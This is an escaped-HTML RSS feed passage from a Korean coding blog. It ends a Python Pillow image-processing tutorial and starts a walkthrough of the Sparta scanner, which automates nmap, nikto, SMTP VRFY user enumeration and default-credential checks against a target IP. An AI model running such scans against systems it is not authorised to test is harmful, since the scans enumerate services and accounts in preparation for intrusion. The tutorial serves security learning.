&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;214&quot; data-origin-height=&quot;78&quot; width=&quot;326&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OYqMl/btqITuxEMKj/JF19JN5qoZ5KhHdkEv0hY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OYqMl/btqITuxEMKj/JF19JN5qoZ5KhHdkEv0hY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OYqMl/btqITuxEMKj/JF19JN5qoZ5KhHdkEv0hY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOYqMl%2FbtqITuxEMKj%2FJF19JN5qoZ5KhHdkEv0hY0%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;214&quot; data-origin-height=&quot;78&quot; width=&quot;326&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번에는 사진을 그레이 이미지로 바꿔보자.&lt;/p&gt;
&lt;p&gt;(RGB 색상 공간에서 그레이스케일 색상 공간 변환하려면 L 모드를 사용해야한다.)&lt;/p&gt;
&lt;p&gt;위의 코드를 사용하면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;647&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2PvpD/btqIX366Ciw/gZ6g7eCflSMjbjzX0jrPk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2PvpD/btqIX366Ciw/gZ6g7eCflSMjbjzX0jrPk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2PvpD/btqIX366Ciw/gZ6g7eCflSMjbjzX0jrPk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2PvpD%2FbtqIX366Ciw%2FgZ6g7eCflSMjbjzX0jrPk0%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;647&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;기존의 컬러 이미지가 그레이 이미지로 출력되는 것을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block; text-align: center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-7966469452958275&quot; data-ad-slot=&quot;1021225096&quot;&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 크기 변환&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;257&quot; data-origin-height=&quot;78&quot; width=&quot;376&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsNc3I/btqIVGR6lAC/pQ7XrXYqX9n8aWDE9cKKy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsNc3I/btqIVGR6lAC/pQ7XrXYqX9n8aWDE9cKKy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsNc3I/btqIVGR6lAC/pQ7XrXYqX9n8aWDE9cKKy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsNc3I%2FbtqIVGR6lAC%2FpQ7XrXYqX9n8aWDE9cKKy0%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;257&quot; data-origin-height=&quot;78&quot; width=&quot;376&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번에는 사이즈를 줄여보자.&lt;/p&gt;
&lt;p&gt;(&lt;span style=&quot;color: #333333;&quot;&gt;이미지의 크기를 변경하려면 새로운 크기를 담은 튜플을 인자로 취하는 resize()함수 사용&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;위의 코드를 사용해서 200x200 사이즈로 줄여보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; data-filename=&quot;10.PNG&quot; width=&quot;623&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNum0u/btqIROchPsC/WxdaV7Ux6yp1cIQXc6MGh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNum0u/btqIROchPsC/WxdaV7Ux6yp1cIQXc6MGh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNum0u/btqIROchPsC/WxdaV7Ux6yp1cIQXc6MGh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNum0u%2FbtqIROchPsC%2FWxdaV7Ux6yp1cIQXc6MGh1%2Fimg.png&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; data-filename=&quot;10.PNG&quot; width=&quot;623&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;다음과 같은 결과를 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 회전&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;210&quot; data-origin-height=&quot;79&quot; width=&quot;322&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u2R0j/btqISvpYMQX/63hikVvRK3gSzjqbFSIc51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u2R0j/btqISvpYMQX/63hikVvRK3gSzjqbFSIc51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u2R0j/btqISvpYMQX/63hikVvRK3gSzjqbFSIc51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu2R0j%2FbtqISvpYMQX%2F63hikVvRK3gSzjqbFSIc51%2Fimg.png&quot; data-filename=&quot;11.PNG&quot; data-origin-width=&quot;210&quot; data-origin-height=&quot;79&quot; width=&quot;322&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 사진을 90도로 돌려보자.&lt;/p&gt;
&lt;p&gt;(이미지를 회전하려면 각도(반시계 방향임)를 인수로 취하는 rotate() 함수를 사용한다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;636&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nz0Ra/btqIRYzvMWy/dLF4f5uNqklviVXLzHeK71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nz0Ra/btqIRYzvMWy/dLF4f5uNqklviVXLzHeK71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nz0Ra/btqIRYzvMWy/dLF4f5uNqklviVXLzHeK71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fnz0Ra%2FbtqIRYzvMWy%2FdLF4f5uNqklviVXLzHeK71%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;636&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다음과 같은 결과를 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 이미지 향상&lt;/h2&gt;
&lt;p&gt;이미지 향상에는 이미지의 대비, 밝기, 색상 밸런스, 선명도 변경과 같은 작업이 포함된다.&lt;/p&gt;
&lt;p&gt;이것은 Pillow의 영상 함수 관련 함수인 ImageEnhance 모듈을 사용하면된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;278&quot; data-origin-height=&quot;90&quot; width=&quot;392&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJLu95/btqIX4EWIkF/05XOT3dZ5kZhPHdMJGjrO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJLu95/btqIX4EWIkF/05XOT3dZ5kZhPHdMJGjrO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJLu95/btqIX4EWIkF/05XOT3dZ5kZhPHdMJGjrO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJLu95%2FbtqIX4EWIkF%2F05XOT3dZ5kZhPHdMJGjrO0%2Fimg.png&quot; data-filename=&quot;13.PNG&quot; data-origin-width=&quot;278&quot; data-origin-height=&quot;90&quot; width=&quot;392&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;우선 이미지의 밝기를 조절해보자.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;632&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/emlugz/btqIVHjasrR/tS4iNXGEo92TDlpKP5aKB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/emlugz/btqIVHjasrR/tS4iNXGEo92TDlpKP5aKB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/emlugz/btqIVHjasrR/tS4iNXGEo92TDlpKP5aKB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Femlugz%2FbtqIVHjasrR%2FtS4iNXGEo92TDlpKP5aKB0%2Fimg.png&quot; data-filename=&quot;14.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;632&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진처럼 아주 밝게 출력된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;만약 enhancer.enhance(0.5).show()로 입력한다면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;634&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/co1SxE/btqIROi5gx6/RrmXWU8eF9EdzeKNXbvjw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/co1SxE/btqIROi5gx6/RrmXWU8eF9EdzeKNXbvjw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/co1SxE/btqIROi5gx6/RrmXWU8eF9EdzeKNXbvjw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fco1SxE%2FbtqIROi5gx6%2FRrmXWU8eF9EdzeKNXbvjw0%2Fimg.png&quot; data-filename=&quot;15.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;634&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 사진이 어둡게 출력되는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;263&quot; data-origin-height=&quot;91&quot; width=&quot;384&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baYxYX/btqIPSstrJb/qGgZaZl9rStq6rAECLkRB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baYxYX/btqIPSstrJb/qGgZaZl9rStq6rAECLkRB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baYxYX/btqIPSstrJb/qGgZaZl9rStq6rAECLkRB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaYxYX%2FbtqIPSstrJb%2FqGgZaZl9rStq6rAECLkRB1%2Fimg.png&quot; data-filename=&quot;16.PNG&quot; data-origin-width=&quot;263&quot; data-origin-height=&quot;91&quot; width=&quot;384&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 이미지의 밝은 부분을 더 밝게 어두운 부분을 더 어둡게 출력해보자.&lt;/p&gt;
&lt;p&gt;위와 같이 코드를 입력하면&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;661&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b80veP/btqIPQ9iTvZ/CPIMRv2KBORNLFUtOxFA70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b80veP/btqIPQ9iTvZ/CPIMRv2KBORNLFUtOxFA70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b80veP/btqIPQ9iTvZ/CPIMRv2KBORNLFUtOxFA70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb80veP%2FbtqIPQ9iTvZ%2FCPIMRv2KBORNLFUtOxFA70%2Fimg.png&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;661&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이미지의 밝은 부분을 더 밝게 어두운 부분을 더 어둡게 출력할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이것도 enhancer.enhance(0.5).show()로 변경해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;670&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rMB9B/btqIS5LD3pu/Am7fuO6JiTcZvxHhXZhvKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rMB9B/btqIS5LD3pu/Am7fuO6JiTcZvxHhXZhvKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rMB9B/btqIS5LD3pu/Am7fuO6JiTcZvxHhXZhvKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrMB9B%2FbtqIS5LD3pu%2FAm7fuO6JiTcZvxHhXZhvKK%2Fimg.png&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;934&quot; width=&quot;670&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그러면 위의 사진과 같이 출력이 된다.&lt;/p&gt;
&lt;p&gt;(어두운 부분은 밝아지고 밝은 부분은 어두워진다.)&lt;/p&gt;</description>
      <category>공부/코딩공부</category>
      <category>from PIL import Image</category>
      <category>from PIL import ImageEnhance</category>
      <category>pillow사용법</category>
      <category>pillow실습</category>
      <category>파이썬 Pillow</category>
      <category>파이썬 이미지</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/74</guid>
      <comments>https://geru.tistory.com/74#entry74comment</comments>
      <pubDate>Fri, 18 Sep 2020 12:00:13 +0900</pubDate>
    </item>
    <item>
      <title>[액티브스캐닝] 간편한 스캐닝 툴 Sparta</title>
      <link>https://geru.tistory.com/64</link>
      <description>&lt;p&gt;Sparta은 상당히 강력한 프로그램이다.&lt;/p&gt;
&lt;p&gt;이것을 이용하면 액티브 스캐닝을 하주 간단하게 수행할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Sparta는 nmap을 1차적으로 실행하여 각종 포트를 검색한 후 web포트가 있으면 nikto를 실행하고 smtp포드가 있으면 VRFY기법을 사용하여&amp;nbsp; 사용자 정보를 검사해주게 된다.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;또한 데이터 베이스 포트가 검색되면 기본 사용자 계정이 설정되어 있는지 이런 것들을 모두 자동으로 검사해준다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(이때까지 배운 것들의 종합선물세트)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;640&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KoCuP/btqHK4M1iv5/S98F0HEFijUFZ22Jvch3C0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KoCuP/btqHK4M1iv5/S98F0HEFijUFZ22Jvch3C0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KoCuP/btqHK4M1iv5/S98F0HEFijUFZ22Jvch3C0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKoCuP%2FbtqHK4M1iv5%2FS98F0HEFijUFZ22Jvch3C0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;640&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위의 사진에 처럼 들어가면 sparta 아이콘이 있다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;그것을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;643&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Vzpw7/btqHLYMzRnD/GGI1bfkBUg0pTVekI6sja1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Vzpw7/btqHLYMzRnD/GGI1bfkBUg0pTVekI6sja1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Vzpw7/btqHLYMzRnD/GGI1bfkBUg0pTVekI6sja1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVzpw7%2FbtqHLYMzRnD%2FGGI1bfkBUg0pTVekI6sja1%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;643&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 이런 창이 뜬다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;Inked2_LI.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;645&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5gdOc/btqHMvwJ5dK/ccIoYvpEdSUweHaC9Wkdj1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5gdOc/btqHMvwJ5dK/ccIoYvpEdSUweHaC9Wkdj1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5gdOc/btqHMvwJ5dK/ccIoYvpEdSUweHaC9Wkdj1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5gdOc%2FbtqHMvwJ5dK%2FccIoYvpEdSUweHaC9Wkdj1%2Fimg.jpg&quot; data-filename=&quot;Inked2_LI.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;645&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 위의 사진처럼 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;649&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TBqVo/btqHBSmrOiG/bK35EcuRAmCpzEr2w37uk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TBqVo/btqHBSmrOiG/bK35EcuRAmCpzEr2w37uk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TBqVo/btqHBSmrOiG/bK35EcuRAmCpzEr2w37uk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTBqVo%2FbtqHBSmrOiG%2FbK35EcuRAmCpzEr2w37uk0%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;649&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 대상 ip를 입력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
